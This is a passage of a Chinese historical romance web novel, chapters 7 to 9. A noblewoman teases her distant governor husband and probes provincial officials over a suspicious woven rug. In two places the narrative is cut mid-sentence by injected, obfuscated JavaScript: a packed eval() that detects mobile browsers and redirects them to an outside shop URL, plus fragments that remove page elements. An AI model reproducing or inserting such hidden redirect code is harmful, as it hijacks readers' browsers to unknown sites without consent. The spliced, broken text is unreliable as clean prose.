身旁的椅子被拉动,不容忽视的气息瞬间将卫理理包围。她垂下眼睫,把身体朝着来人方向轻转,将脆弱的脖颈完全暴露在那人眼前。
脖子与肩膀连接的地方赫然一个青紫印记,另一侧颈上也有几点青黄,昨日不过泛红,今天一看,萨孤延才知她的肌肤竟比他想象中还要娇嫩。
治疗瘀伤的药需得大力揉搓,散开淤血,只是萨孤延哪里还敢用力,虚虚浮在面上,缓慢地打圈。
冰凉的手指落在身上,卫理理睫毛颤动,绷住身体才没因凉意退缩。听说蒲牢关到了落雪的时候,他就穿着这么几件衣服来回吗?
男人的腿就在她身边,卫理理思量一番,该看的不该看的他也看过,自己摸一下又算得了什么,这般想着,伸手按在他腿上。
手下的肌肉绷得比石头还硬,厚实的冬装挡不住热意,隔着裤子直往她手心钻。
身后人停住,静默地任由她顺着腿往里摸。
快摸到腿根,卫理理收回手拢在身前。这都不开口,他倒是能忍。
抹药的手指重新落下,这次用上些力气,搓得卫理理有些疼。
卫理理皱眉,若叫他轻些,倒似求饶,咬牙忍下,开口问他:“听闻处密部来降,节度使此时回来,不耽误军务吗?”
“有副将在,离开一晚无妨。”身后人惜字如金,听不出喜怒。
卫理理稍稍向后靠,离他更近些,柔声细语说着:“以前待字闺中,对外面的事知之甚少,也不曾听过节度使威名,圣人为何单单挑你来安西?”
除了出身,萨孤延的往事没有不可言的,卫理理想知道,他便如实相告。
“我原在交河戍边,随阿兀思吉大将军征讨高昌时立下战功,得以升迁。圣人选定我,是因我懂突厥语,对西域诸国也较为熟悉。”
许是药效开始起作用,颈上火辣辣的,从后颈到肩窝都被搓得发热。
端坐的有些累,卫理理松下腰,软绵绵靠在桌沿。
“我来时路上,听人说节度使专横跋扈,与庭州刺史不合,可是真的?”
那人回答得随意:“流言蜚语,不足为信。”
卫理理可不由他敷衍,偏要追问:“是跋扈专横不足为信,还是与使君不合不足为信?”
肩上的手没停,可是声音没再响起。
在她看不到的地方,皮肤变得艳红,萨孤延搓揉之处,都留下属于他的痕迹。
桌上只剩水底的小碗里沉着两片百合,屋中摆着许多水器,以致灯光都染上波纹荡漾。昨日喊出他的名字时,他就察觉她声音不似青州甜润,当时以为是因怒极而嘶哑,今日听来,该是因庭州干燥失水才伤到嗓子。
若不是为他,她这样的贵女,一辈子也吃不到这种苦。
念头方起,萨孤延暗嘲自己自作多情,可看着被他揉红的肌肤,他克制不住怜惜:“庭州干苦不宜居,县主不该来此。”
卫理理转过身,仰头去看他。就算他坐着也比她高许多,卫理理凑近些,就能看见他下巴上冒出的胡茬,干裂的嘴唇,还有脸上被风沙打出的细小擦痕。
“我为什么不来?”卫理理几乎要倾进他怀里,一双眼睛一眨不眨凝望着他的脸,“我夫君在这里。”
尖尖的小脸不足巴掌大,黑亮的眼睛中尽是狡黠。就算她是刻意为之,萨孤延依旧听到胸腔中心脏搏动的声音,“咚”,“咚”,一下又一下,倒灌的血液冲刷着他的理智。
椅子猛然后撤,他站起身,把药瓶搁在桌上:“药上完了。”
卫理理被他起身的动作吓一跳,听他说话,才扶着桌边惊恐未定地呼气。
萨孤延舔舔后槽牙,嘴角勾起,兔子大的胆子,还想假装勾人。
刚要走,就被拉住,那兔子似的人儿缓过气,又像小狐狸一样贴上来。
“我胳膊上还有伤呢。”
说着就撩起衣袖给他瞧。
胳膊上的淤痕不如颈上重,但手腕隐隐肿起,像是扭伤。
终归是他的错,萨孤延叹口气,重又坐下来。
被吓过一次还不老实,卫理理支着腮,又去招惹他:“上次送来的礼怎么没见着,里面有件多宝摆屏我蛮喜欢的,样子很新奇,是新泰郡王着人设计图样,专门定制的。”
“嘶——”
话没说完,卫理理倒抽一口冷气。
那男人冷着脸,毫不留情按在她扭伤的地方。
她想抽回手,连收几下都没抽动,萨孤延一手牢牢圈住她手臂,一言不发地涂药。
卫理理偷偷横他一眼,拉长尾音问他:“那些礼,节度使怎么处置的?”
“砰”。
药瓶被重重顿在桌上,终于被激怒的男人冷冷撂下一句:“天色已晚,县主早些安歇,此药一日两次,切勿忘记。”
卫理理眨着眼回神时,屋中已不见他的身影。
生气了?他离开时蹭过的珠帘晃动不歇,摔得噼啪作响。班识不是说他欣喜若狂吗,这看着可不像欣喜。
伸手拾起药瓶,卫理理扒开软塞凑近去闻,辛辣的味道直冲鼻腔,怪呛人的。
都怪呛人的,亮晶晶的眼睛弯起,她偷偷骂着,狗脾气。
7. 第 7 章
梅子叩门进来,只一个眼神,卫理理就知那男人照旧去了书房。
“取床被褥送去。”卫理理心情好,也不在意一身刺鼻药味,把药瓶收进小屉中,大发善心关心下那个男人,“省得把堂堂安西的主帅冻坏。”
清晨萨孤延离开时,班识早就牵着马在门口等。见着他走近,立刻可怜兮兮迎上来,说什么也要回军中。
班识不愿留,萨孤延不好强求,两人正要走,身后有人唤“将军”。
还是那名叫梅子的侍女,她捧着一托盘上前拜礼。
“天寒霜重,早晚风凉,请将军添衣。”
托盘上是萨孤延遗落在卧房的披风,浆洗得干干净净,入手还带温热。萨孤延捋过内里皮毛,毛绒梳理得蓬松柔软,边缘几处磨损脱线也被精心修补过,散发着浅淡清雅的香味。
是她身上的味道。
半边脸埋在披风中,萨孤延闭上眼睛,缓慢而悠长地深吸一口。
“节帅?”班识好奇探头。
“走吧。”睁开眼,依旧是杀伐果断的主帅,萨孤延翻身上马,疾驰而去。
班识手脚并用爬上马,扬鞭追赶,生怕节帅再把他丢给县主嫂嫂。
卫理理睡到日上三竿才醒,任桃桃催促,就是赖在被窝里不肯起身。
昨天被那个冷言冷语的人揉一通,她觉得浑身都不舒服,脖子也疼手腕也疼,不知怎得连腰都酸疼,只想躺着不动。
桃桃实在无法,只能伸手去拉:“县主,今日不还要赴宴吗?再不起,可要来不及梳妆了。”
连哄带拽,总算让卫理理不情不愿起床,坐在妆台前任由桃桃打扮。
摸摸脖子,药味过了一夜还没散尽,呛人的辛辣阴魂不散,非要在她身上耀武扬威一般。
“那个看院子的人叫什么,”她扭过头说话,又被正在梳发的桃桃转正,“他以前是军中的人吗?”
桃桃手上不停,象牙梳一梳到底。卫理理头发养得好,柔顺黑亮,散在身后绸缎一般顺滑。她用小指挑出一捋飞快打成辫子盘起来,嘴上也不闲着:“我的好县主,有什么事待会儿再问,咱先把头发梳好,再耽搁真来不及了。”
卫理理听着她抱怨,这才后知后觉问:“宴请是什么时辰来着?”
她刚到庭州那日,庭州刺史就派人送来拜帖问候,并说要为她接风洗尘,卫理理推说远行疲累,没接帖子。没过几日庭州刺史又送人来说护卫县主安危,也被她不软不硬拒了。昨日刺史派人送帖,说府上有宴,请县主务必赏光。想着终归是一州使君,不好总驳人情面,卫理理勉强点头应下。
如果没伤着,卫理理不会这般疲懒,现下身上酸的酸涨的涨,她对赴宴愈发提不起兴致。
“是午间。”
帖上没写具体时辰,只说今日午间开宴。按理这种宴请都会在巳时末就到,吃吃茶水闲聊几句,互相恭维混个脸熟。身份再高些的,也不会晚于午时初,非要拖着时间让主家不能开宴苦等,便是故意拿乔。
卫理理初来乍到,不好与当地父母官闹得太僵。
杏子和梅子捧出几身衣服让卫理理挑选,随意吃几口糕点应付下肚子,卫理理终于踩着巳时的尾巴带上桃桃和梅子出门。
宴会设在刺史府中,庭州刺史亲自相迎,领着卫理理往宴厅去。
“久闻县主美名,今日相见,果真是天仙降世,令鄙府蓬荜增辉。”
庭州刺史名吴寔,年逾五十,留着一把稀疏的山羊胡,大约是伏案日久,他肩膀内扣,显得后背微驼,干瘦的身材让这点体态瑕疵一览无余。
他是安西二州设立后第二任庭州刺史,安西多胡人,不通汉话,管理困难,频繁更换官员并不利于当地胡汉融合,因而他在这个位置上已经坐了近八年。边镇苦寒多沙暴,就算保养得当,也比不上长居圣京或江南水乡的同龄人。他眉间两道深深的沟壑,脸颊细窄,两腮干瘦,连眼角的皱纹都格外深刻些。
卫理理嘴上抱怨着,只说路远难行这才来迟,绝口不提自己赖床不起。
庭州刺史点头附和:“原也想在府衙附近为节度使寻一住处,连找几处,都不合节度使心意,萨孤将军驻扎军营,不肯回来居住。后来我猜想大概是节度使喜清静,不愿与人比邻,这才找到如今这处宅院。”
他脸上挂着和善笑意,与卫理理好声商量:“当时不曾想到县主前来,委屈县主屈居那等简屋陋宅。依我看倒是该重新挑处舒适的宅院,也好让县主安居。”
卫理理半垂着眼睑,目不斜视向前走,淡淡回绝:“使君无需辛劳,如今的宅院虽然不大,倒还够用,待到哪日实在住着不宽裕,再思量迁居不迟。”
“是,是。”刺史嘴上应承,暗暗思忖。瞧这位的穿着,一水儿的缭绫织锦,袖口衣摆铺满繁复精巧的蜀绣,栩栩如生,脖上一圈毛绒绒的银白貂鼠皮拥着小脸,发间插一对花钗,坠的宝石有葡萄大,行走间拂起衣袖,隐约可见腕上金光闪闪。
是个花钱如流水的主,这才八月,就穿得里外不露,待到腊月里,怕是连屋门都不敢出。在温暖地方过惯的人,哪里知晓西边冬日的厉害,等新鲜劲儿过去,飞沙走石的的西域可不是娇生惯养的贵女能待得住的。
还未到宴厅,就听见嘈杂的笑声,卫理理是最后一位到的,厅中已经坐着四五个人。见她进来,都收敛笑意,起身看来。
卫理理一眼就看到屋中一名年轻女子,她约莫二十出头,穿着绛红色长袍,腰间束着镶银片的腰带,零零碎碎挂着许多珠链松石装饰。
发觉卫理理在看她,她偏过头,毫不避让地对视。深邃的眼窝中是一双灰褐色的眼睛,眉骨微凸,小麦色的皮肤上有点点斑痕,是阳光照射留下的印记。
卫理理扫过她身侧两条微红的发辫,耳上细长的坠子和颈间的绿松项链。她是胡人,看模样像是恒罗斯人。一个胡人在天可汗的领土里,对一位素不相识的皇亲县主有敌意,真是有趣。
“这位是……”庭州刺史作为东道,引着卫理理向右手边看。
卫理理环视一圈,撂下刺史径直向东边墙壁走去。
庭西二州胡人众多,市面上能见到具有西域特色的物品也多,在庭州久居,难免受其影响,无论官员百姓,家中都有不少胡式家具或摆设。
宴厅的东墙上挂着一张艳丽的羊毛氍毹。这张氍毹约有七尺见方,四周缀着流苏,以深沉的胭脂红为底色,上面不是常见的连珠纹或菱格纹,而是形态各异的人像,簇拥着最中间一名挂满珠宝的女性。
这幅图描绘的是撒乌尔罕神话,被拥簇的是伊楠娜,她是撒乌尔罕神话中的长生女神,能够青春永驻、起死回生。
整张氍毹细腻柔滑,经纬细密,裁绒平整。绚丽繁复的花纹间夹杂着撒乌尔罕文字,叙说着伊楠娜的丰功伟绩和对长生女神的无限崇拜。
卫理理按上氍毹边缘,在最靠近流苏结的地方,由葡萄和石榴构成的花纹里,藏着一行细小的字,字形瘦长,弯绕纠缠,就算有心发现,也只会当作装饰花纹。
庭州刺史快步跟过来,不等他开口,卫理理先问道:“这是何物?”
见县主只是好奇,庭州刺史这才略略安心,耐着性子介绍:“这是西域的装饰物,多由羊毛织成,名为氍毹,可以作为地毯,也可挂在墙上当作装饰。”
“氍毹?奇怪的名字,以前不曾听过。”卫理理表现出十足的好奇心,“是哪里弄来的?”
到底是养在中原的贵女,对西域最常见的装饰物都一无所知,庭州刺史语气柔和答着:“县主若喜欢,集市上有许多类似的物品,改日我派人随县主去集市上逛逛,买到什么合心意的东西也好帮县主运送回府。”说着就伸手指向堂中,示意卫理理先入座。
卫理理权当没看见庭州刺史的动作,歪着头眨着眼,指着氍毹,一派天真:“我喜欢这副,使君可愿割爱?”
“这……”庭州刺史没料到她会这样直接,一时愣怔,“这是幅旧图,纳垢藏尘,岂能般配县主身份。”
本以为说几句场面话,听懂婉拒的意思,就不会再索要,却不想眼前这位是个不谙世事的。
“没关系,旧图清理一下就好。”卫理理略抬下巴,颇有纡尊降贵的施舍,“虽是用旧的,我也不是吹毛求疵的人,并不嫌弃。当然,要是使君不愿给也可直说,我并不强人所难。”
此话一出,在场诸位都是一惊。安西二州缺少教化,官员常与客商胡民打交道,那些大字不识的胡人尚且会察言观色,从没有像卫理理这样尖锐不知世的。
圣人怎么会选这般性情的贵女嫁与萨孤延,听闻这位县主一直居住在青州,卫氏族人对她万般迁就,想必因此养出趾高气昂的刁钻个性,只是萨孤延出身虽贱,却不是能容忍的性子,两位放在一起,不定闹出什么幺蛾子。
庭州刺史管不着萨孤延的家务事,他只想先把眼前这关过去。庭州贤达俱在,他不好与县主争执,只能陪礼:“在下绝无此意,县主喜爱,自然是双手奉上。”
卫理理睁着一双亮晶晶的眼睛看他,好似全然没听出嘲弄:“那就取下包起,放我车上便好。”
甫一说完,就招呼桃桃和梅子来摘。
庭州刺史哪能让她亲自动手,忙叫来两个小厮,爬高摘下。
收下氍毹,卫理理终于肯入座。
庭州刺史不敢再节外生枝,一招手命下人奉上吃食酒水,厅中总算有点宴会的热闹。
一名鹅蛋脸的妇人先开口,问及卫理理对庭州生活可适应。
她是庭州刺史的夫人,满面覆粉,描画精致。
早在来庭州前卫理理就已经打探过,庭州刺史是潭州人氏,到而立之年才通榜考中明经科,许是其貌不扬、许是家境不丰,他没能在京中被榜下招婿,回家乡娶上一位富户家的娘子,算起来,他夫人要比他小十余岁。
卫理理就像抓到倾诉对象一般喋喋不休抱怨着,从跋山涉水的艰辛说到因干燥让她生病、从节度使邸简陋的环境说到庭州的水如何咸涩,到委屈处,眼睛要眨不眨的,眼看要滴下泪来。
“县主既嫌庭州地瘠民贫,何不回青州去。”一道声音突兀地插入卫理理与刺史夫人之间,打断对话。
卫理理循声看去,正是那名年轻的胡人女子。
“我倒没注意,席上竟还有位年轻小娘子。”卫理理嘴边挂笑,明明胡女就坐在对面,她却面向庭州刺史说话,“这是谁家的小娘子?”
不等刺史回答,她仿佛恍然大悟,目光在胡女的长脸和刺史的瘦长脸间打个转儿,像是发现什么趣事咯咯笑起来:“莫不是刺史与夫人的爱女。夫人瞧着年轻,原来竟有这般大的女儿。”
刺史夫人面色尴尬,强扯出笑容否认。
胡女则很是不忿,大声斥责:“县主休要胡言。”
卫理理沉下脸,冷哼一声,嘟着嘴生气,十足被娇惯坏的小女娘模样:“不是刺史家的小娘子,怎在席上坐。我道是此宴专为我接风洗尘,却原来任谁都能是座上宾。”
“是我考虑不周,还望县主见谅。”庭州刺史一手下压示意胡女闭嘴,一边端着酒杯站起,“她名为莎巴特,父亲是现任庭州长史班尼扎。平日自在少读书,粗莽不知礼,叫县主见笑。”
庭州的长史是胡人?卫理理转着杯子,余光在莎巴特的腰带上瞄着,腰带装饰打制成飞禽猛兽形状的银片是恒罗斯人特有习惯。
恒罗斯,叶盱湖畔,伊丽道边,是个水清景美的好地方。
“怎么不见班尼扎长史?”卫理理把酒杯搁在桌上。
庭州刺史本要敬酒,见状也只能放下酒杯:“长史公务在身,故而缺席。这样,县主何时有空,我在漱月楼定下酒菜,请上长史司马,共为县主洗尘。”
有刺史打圆场,这点龃龉总算遮过去,推杯换盏间,重又热闹起来。
离开刺史府,卫理理第一件事就是去查看氍毹。
桃桃和梅子对视一眼,都在对方脸上看到不解。
“县主,要这么一副旧挂壁有什么用?”
“挂壁没用,有用的是挂壁上的内容。”卫理理拍拍车门,叫车夫往集市去。
桃桃更迷惑了:“我们不回家吗?”
“不回,本县主对西域氍毹非常喜爱,所以要去集市中再购买几幅。氍毹价高,售卖的店铺不多,我们全走一遍。”
集市中卖氍毹的店确实少,卫理理没出面,叫梅子带上几个侍从,打着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284239|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
采买的名号大张旗鼓选购,叫几家店把最好的氍毹全都拿出来挑选。
梅子看得仔细,直到日落西山才走完最后一家店铺,回到府中时已是明月高悬。
从刺史府带回的那副氍毹铺在桌上,卫理理手指抚在边缘的文字上,一个字一个字滑过。
梅子上前行礼:“县主,我全看过,确实没有任何一副有这样的纹样。”
见卫理理点头表示知道,她继续回禀:“照县主说的,一共买了三幅氍毹,已经收进库房。”
卫理理挥手示意她退下,一个人凝视着这副长生女神氍毹。
西域靠编制氍毹为生的部落众多,很多部族都会在氍毹的图案中加入自己的文字,那种曲曲绕绕的文字属于同罗。
自绩利叶护可汗被刺身亡,伊图木刻部掌管西突厥,同罗就成为阿悉结部的属地。阿悉结部追随伊图木刻部意图反攻中原,对中原客商毫不留情,见之则杀。同罗位于阿悉结部深处,与中原早已断绝往来,就算卫理理自己的商队,也难以与同罗有所交流,更逞论从中运送货物。
本该消失在关内的同罗氍毹,究竟是从何渠道进入。
手掌按在密实的氍毹上,绒毛在手下滑动,伊楠娜的珠宝随着绒毛摆动忽深忽浅,长生女神面含微笑,慈悲地看着拥戴她的子民。
庭州,似乎比她想的更有趣。
庭州刺史兑现承诺,第二日就送来帖子,说漱月楼随时恭候县主大驾。卫理理挑着最近的日子应下。
这次席上没有莎巴特,而是见到她的父亲。
班尼扎除了那双灰褐色的眼睛,与莎巴特并无相像之处。他个头不高,两腮浑圆,留着一捧大胡子。莎巴特手长腿长,她父亲四肢短粗,挺着肥圆的肚皮,圆领袍在他身上都局促,眼看要陷进肉里的腰带格外劳苦功高。
班尼扎见着卫理理就先道歉,自称没能教育好女儿,虔心诚意到卫理理都怕他突然抡自己几耳光。
席间更是热情,若是哪道菜卫理理皱了眉头,立刻就叫人撤下去换新菜上来。酒是他给斟的,歌舞是他安排的,要不是桃桃抢得快,水果他都要帮卫理理剥皮。
一顿饭吃得卫理理云里雾里,一句重话也说不出口。这种人放在庭州真是屈才,就该扔去京城跟御史们斗心眼,除了眼睛颜色和大胡子,谁能分得出他跟政事堂那几位老狐狸的不同。
醉醺醺被扶上马车,走出三里路后,歪在车中扶额打盹的卫理理睁开眼,坐直身体。一直候着的桃桃马上询问:“县主可有不舒服?”
“无事。”卫理理摆摆手,“几杯葡萄酒还灌不醉我。”
她接过梅子递来的橘子水润喉,吩咐道:“两件事,第一件,去查查班尼扎的籍贯是哪儿。”
顿了片刻,她才继续说:“第二件,找人盯着庭州官驿,看看近日可有驿马往来。”
从萨孤延回军中到现在,十日已过,如果接收顺利,关于处密部归降的奏报早就该送往京城。
……
自从收下那个男人的药,卫理理就没再用梅子带来的药。一日两次,瘀伤消得快,卫理理也被腌入味,就算用澡豆洗过也总觉得能闻到药物独有的辛辣。
这日下晌,桃桃推门进来。
卫理理正趴在榻上写写画画,每写两笔就要扯着衣领或袖口闻一闻。
“县主在写信吗?”桃桃接过笔搁在书案上,又按着卫理理的指示从小柜中取出一件杏黄信封,是高门小娘子们交际最爱用的一种。
上好的砑花纸在光线下浮动出流云纹样,卫理理捏着信纸两角吹干墨渍。扭伤好得慢,她手腕还软着,写字用不上力气,笔画飘得很,不过字写得好不好也不重要。
“官驿还没动静?”
“没呢。”桃桃取出胶和调胶用的银片,旋开盖子,搅出一小团,“杏子的人排着班,一天十二时辰盯着,没见有驿子离开。”
两天了,庭州的军报还不往京中送,如此拖下去,待到十月,京中也不一定能知晓处密部归降的事。不过萨孤延这几天也没消息,说不定是归降的事还没安排好,再等几日也无妨。
“打听好怎么送信了吗?”
卫理理接过团着胶的银片,均匀抹在封口处,将信封封死,提笔在封面上落下“青州”二字。
“庭州这边有两种驿道,一种是走公驿,一种走私驿。私驿慢,而且查得严。公驿快,但是需要有官府的印。”
桃桃说:“我觉得可以先走私驿出安西,到伊州再转公驿。从伊州一路向东,驿子都是圣人差越将军亲自挑选的,嘴紧马快。”
“就这样。”
越往东走天气越暖和,但是玉门外的城镇,过了八月就没有暖和日子。
一大早有人叩门,驿站头子打着哈欠从屋里出来,慢腾腾地开大门。
“这大清早的,急什么。”天冷的张口就呼白气,驿站头子双手插在袖中,晃悠悠走出门。
一个包裹的只剩一双眼睛的男子站在门外,牵着一匹马,马背上挂着大褡裢。这是往来驿站送信的,布褡裢里全是各类信件。
驿站头子出来时没带兜帽,觉得有些冻耳朵,从袖中抽出手捂在耳上,半掀眼皮问来人:“这是跑的夜路?”
来人蒙面的布巾和兜帽上都挂着霜痕,一看就知已经跑了许久的路。
那人笑笑,隔着布巾,说话闷声闷气的:“吃这碗饭,怕耽误事,路上多跑了一会儿。”
驿站头子也不废话,手一伸,来人连忙扒开厚重的衣服掏过所证明。
核对好身份,驿站头子让开门,领着人往里走。
“你这都是往哪儿的信?”头子拉开马上褡裢,探头去看。
蒙脸人牵着马,任由他翻看:“哪都有,我就送到下一站,其他就不归我管了。”
“那还挺好,省心。”头子嘴上说着,从一堆信封中夹出一封杏黄花草笺,瞅一眼封上要送去的地址,捏在手中。
马厩里一名驿子刚给新马上好鞍,头子看见,随口问一句:“这就走?”
驿子应下:“有柳中的奏报要加紧送,耽误不得。”
“正好,把这封稍上。”头子掀开马背上的袋子,将手中杏黄信封塞进去。
8. 第 8 章
庭州的军报还没送出去,不着家的男人先回来了。
卫理理与桃桃说笑着向外走,一转身差点撞进来人怀里。
这还是第一次在白天看见他,卫理理愣怔一下,随即捂着嘴笑起来:“我还以为节度使只有晚上会回来,心想莫不是我日夜惦念,相思成疾,竟出现幻觉。”
她从袖中伸出食指,搭在皮质腰带上,指尖一弯,修剪得圆润秀气、染着红红蔻丹的指甲就划过萨孤延腹部,探进腰带中,勾着男人往身前拉。
“节度使可能告知妾,眼前这人,是真是假?”
卫理理的力气别说拉动他,就连拉他腰带上的铜带勾也不一定能拉开,可萨孤延不由自主想随着她的动作向前倾,任由这只狡猾的小狐狸把他拖进自己的洞穴中。
“怎么这么多人?”黑炭一样的络腮胡男人从萨孤延身后冒出头,扯着粗哑的大嗓门吆喝着。
卫理理被萨孤延挡得严实,那络腮胡子没看到,锐利的眼睛飞快把站在一旁的桃桃和梅子认一遍,按上腰侧佩刀,急迈两步就要挡在萨孤延身前。
第一步还没落地,斜刺里伸出一只手死死捂在那人嘴上,班识不由分说拦胸抱住他向后拖去:“闭嘴。”
萨孤延盯着卫理理掩在袖下、慌张收回的手,忽然觉得应该先让曹骠他们去府衙的,在这里,实在碍眼。
“你的伤如何?”他还记得上次回来,她身上刺目的青紫。
不管她心中在意谁,既然来了庭州,萨孤延认为自己还是有责任看顾好她。
能知道先问伤,算他有良心。卫理理打量着来人的衣着,靴子和膝盖处沾染着沙土,庭州多尘,马行沙地,刨起的飞沙难免沾到衣服上。他倒是忙碌,连日里骑马奔波,换作花拳绣腿的富贵子,怕是屁股都要磨烂。
想起摸到的像石头一样的腿,卫理理愈发好奇,怎会有人身上那般硬又那般热。
见卫理理不应,萨孤延以为她不想理会,也不再多说什么,侧身绕过她向里走去。
他刚一动,就听见身前幽幽轻语:“节度使有令,一日涂药两次,不敢不从。节度使若不信,便闻闻看。”
闻?为什么要闻?萨孤延迷茫地低头看去,却见那小狐狸捏住衣领作势要脱。他脑中轰然炸响,众目睽睽之下,他身后还有从属,要是被其他男子看见……
身体比意识更快,卫理理的手只是捏着衣领扯动两下,他已来到她身边,把她圈在自己怀里,尽力挡住那些可能窥探到她的视线。
前胸贴上她手肘,身前的人放开衣领,细白手指落在他胸上,攀着他衣服踮起脚,附在他耳边悄悄说:“夫君闻到了吗?”
熟悉的辛辣味道漫入鼻腔,那双眼睛弯如新月,纤长的睫毛蝴蝶似的飞在眼角,落下阳光的影子,盈满得逞的笑意。
萨孤延暗暗咬牙,她又在戏耍人。
“看来已经痊愈。”萨孤延稍稍撤步与她拉开距离,侧过脸,躲着她的注视。她身上的味道缠得他头晕,明明是最平常不过的药物,偏偏涂在她身上就暖融融的,叫人莫名心燥。
卫理理哪会轻易放过他,眉头一蹙,语气也委屈起来:“我手还疼呢。”
班识按着曹骠在门口等,隐隐听见什么“伤”,“疼”,以为节帅受伤没跟他们讲,抻着脖子就往那边瞄。
萨孤延猛然回头,眼神冰冷。
班识缩脖,识相地拖着曹骠朝门外走,路过不明所以站在门口的宋元瑸,一掌拍在他背上,催他快走。
等几人走得远远的,再听不到一丝声响,萨孤延才回身问:“怎么没好?”
卫理理在袖下转动手腕,感受到拉扯的痛意:“扭到了,自然好的慢。药用过,也不见好。”
萨孤延沉眉,她身边的人怎么照顾她的,一直不痊愈,也不请大夫?
“我叫人请大夫来看。”他转身就走,被人拉住。
那女人像上次一样扯着他袖子,仰头看他:“节度使给的药好,可惜我不会用,节度使可愿再帮我抹药?”
眼神微黯,他在那张堪称绝艳的脸上搜寻着。说这一通,就为了让他抹药?可她明明厌弃他,又何苦一次又一次来招惹捉弄。
男人没有回应,卫理理也不在意。指望哑巴舌灿莲花,还不如指望伊图木刻部自行投降。
她着急出门,算算还能再拖延半刻,抓紧时间敷衍她的夫君:“节度使回来可有事?”
萨孤延确实有事,他是回来取官服的,原想拿上就走,谁料刚进门就与她撞个正着。
卫理理看他神情就知,既有军务,正好各自忙碌,装模作样跟萨孤延道别。
出门瞧见墙下蹲着一排人,班识见她出来,咧着嘴跟她打招呼,另一只手还不忘兢兢业业地捂住身边人的嘴。
卫理理放下车帘,靠在桃桃身上直笑。
一群傻瓜。
脖子上的淤痕消退,卫理理也就不用再遮挡。今天她穿着一身齐胸裙,戴一件赤金镶翠的璎珞,端得是富丽。
方入九月,庭州虽比玉门关内冷些,也没到飘雪的时候。过了十一月,安西有些地方的积雪深可没膝盖,三月不化,炭在安西也算稀罕物,归入中原十年,许多人家依旧还靠干牛粪过冬。
炭金贵,就算是庭州刺史也得节省。堂中没燃暖炉,只点着熏香。不过卫理理并不觉十分冷,她初到时水土不服有些发热,这才早早用上暖炭,如今在庭州已有半月,对西域的气候也逐渐适应。
庭州刺史的夫人笑着招呼人上点心。
她娘家姓方,膝下两子一女,除了女儿因为年长留在潭州嫁人,两个儿子都是在庭州出生。比之庭州刺史的干瘦,方夫人身材丰腴,一张方脸饱满宽厚,眉眼开阔,瞧着是有福气的长相。
两只小碗端上来,浓白的液体里窝着晶莹细丝。
“这是南边弄来的燕窝,用西域的法子拿鲜牛乳炖的,县主尝尝可合胃口?”
听到方夫人说,卫理理端起碗,用小匙拨着,半天不入口。
方夫人见状,开口劝:“知道这点东西不入县主的眼,只是我们庭州地处偏远,往来不易,实在是拿不出更好的招待,还望县主见谅。”
碗中细丝根根分明,两端尖窄,是上好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284240|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的燕盏。市面上的好燕窝都是来自南洋,运输不易,就算京中也足称珍贵,何况更为遥远的西域。
卫理理不是故意要驳方夫人面子,实在是她不喜此味。
“方夫人莫误会,我吃不惯这个。从前京中也送来过,又要泡发又要挑毛,做着费劲,结果吃下去一股怪味,竟是一口也咽不下。后来京中再问,也就不要这些,总归我不吃,平白放着浪费。”
方夫人万万没想到卫理理不爱吃此物,本想着借着吃食的名义好说话,这下讪讪不知所措,怪着自己考虑不周,又忙叫人送旁的点心来。
庭州食材有限,方夫人一时也没找到会做青州口味的厨子,只能摆上些西域糕点应付。
闲扯几句家常,方夫人试探说道:“上次使君说要安排人替县主看家护院,被县主退回,我还责骂他不动脑子。县主天潢贵胄,庭州那些兵卒小吏粗俗不堪,难当大用,岂能为县主鞍前马后效劳,平白惹得县主费心。”
卫理理从点心匣子里拣一枚炸得酥脆的筚饠,轻咬一口,薄而酥的外皮在齿间碎裂,内里香浓的酸酪馅混合着油香的外皮,既不过分腻又有醇厚奶香,一切都恰到好处。
方夫人见卫理理没反驳,继续说着:“我看县主带的人不多,怕是不能事事周全。庭州风俗与青州大相径庭,县主身边不能没有得用的人,差人跑跑腿都不识路。”
她冲门口招招手,候在门边的女婢行礼退下,不一会儿就带着四名女子进来。
“这几个都是手脚勤快为人老实的,怕上不得台面的人伺候不好县主,特意找那等专为达官显贵调教人的地方挑选的,县主瞧着可有合眼的,带回去当个跑腿的使唤。”
卫理理在点心匣子里挑喜欢的吃,抬眼一扫,四名女婢低头垂目,一齐向她行礼,规矩一点不错,倒像是精心培养的。
她扔下手中点心,拈起帕子慢条斯理擦着手指:“劳夫人费心,只是我身边人都是用惯的,实在用不来外头的人。”
她点点其中一名女婢的脚:“就好比这位,我身边的人走路从不会脚掌外斜,以至绣鞋边缘蹭到泥地。”又指指另一名婢女:“也不会身带配香,喧宾夺主。”
把四个人全部挑剔一番,看方夫人脸色都冷下来,卫理理这才停住,顺理成章地回绝方夫人的好意。
方夫人被堵得无话可说,心中愤懑,只能从旁人身上找回些颜面:“我看县主身边这位行事也颇为随意,这些人虽有不足,重新调教一番也并非不可用。”
卫理理瞥一眼桃桃,正塌腰偷懒的桃桃被方夫人点名“随意”,立时挺直腰板目光炯炯。卫理理微微一笑,回道:“她是宫中来的有品阶的女官,夫人方才说谁行事随意,我倒是没听清。”
这下方夫人哪还敢说第二遍,只能假称县主听错,按下不提。
在刺史府上用过饭听过琵琶,卫理理才带着桃桃和梅子回来。夜色已深,厨房里早备好热水等着卫理理取用,正要回卧房,却瞧见书房里点着灯。
他不是有军务吗?怎么没走?
卫理理咬着唇看了半晌,转身朝书房走去。
9. 第 9 章
